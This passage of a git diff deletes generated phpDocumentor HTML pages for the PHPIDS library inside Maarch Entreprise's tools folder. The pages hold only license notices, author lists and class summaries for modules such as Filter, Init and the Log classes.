http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Event.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Event.html">IDS_Event</a> - </td> - <td> - PHPIDS event object - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Filter.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Filter.php.html deleted file mode 100755 index 7fa9c3513f4266a0ea6b4b606a2db3fdb9ab63ea..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Filter.php.html +++ /dev/null @@ -1,62 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Filter.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Filter/Filter.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS Requirements: PHP5, SimpleXML</p> -<p class="description"><p>Copyright (c) 2010 PHPIDS group (https://phpids.org)</p><p>This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the license.</p><p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.</p></p> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Filter.html">IDS_Filter</a> - </td> - <td> - PHPIDS Filter object - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 24 Sep 2007 20:06:51 +0200 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.0</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Storage---Abstract.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Storage---Abstract.php.html deleted file mode 100755 index 5763fedaf48301f3660b1db8879049aa2727bf0b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Storage---Abstract.php.html +++ /dev/null @@ -1,62 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Abstract.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Filter/Storage/Abstract.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2010 PHPIDS (https://phpids.org)</p><p>This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the license.</p><p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.</p></p> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Filter_Storage_Abstract.html">IDS_Filter_Storage_Abstract</a> - </td> - <td> - Abstract Filter Storage - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Thu, 13 Sep 2007 22:36:58 +0200 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.0</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Storage.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Storage.php.html deleted file mode 100755 index 466dbf72da7d07fddcc15a85e2c5f262d032b208..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter---Storage.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Storage.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Filter/Storage.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Filter_Storage.html">IDS_Filter_Storage</a> - </td> - <td> - Filter Storage - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter.php.html deleted file mode 100755 index 563d3e4469f2f0c24a33027a2507399393f405ca..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Filter.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Filter.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Filter.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Filter.html">IDS_Filter</a> - </td> - <td> - PHPIDS Filter object - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:45 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Init.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Init.php.html deleted file mode 100755 index 940a23b698bc64b8d57fa2dcf8f14ccfa98101cf..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Init.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Init.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Init.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Init.html">IDS_Init</a> - </td> - <td> - Framework initiation - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html deleted file mode 100755 index a64b8460741d9dfd0119218597405189c1d850b2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Composite.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Composite.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Log/Composite.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Log_Composite.html">IDS_Log_Composite</a> - </td> - <td> - Log Composite - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Log/Interface_php"><!-- --></a> -<div class="evenrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Log/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:40 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Database.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Database.php.html deleted file mode 100755 index 00bf7c456829bfc62c0997e79cca91c1a9fbfc4d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Database.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Database.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Log/Database.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Log_Database.html">IDS_Log_Database</a> - </td> - <td> - Database logging wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Log/Interface_php"><!-- --></a> -<div class="oddrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Log/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Email.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Email.php.html deleted file mode 100755 index c60e858e83107c897385a79abe5401d03214e2af..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Log---Email.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Email.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Log/Email.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span 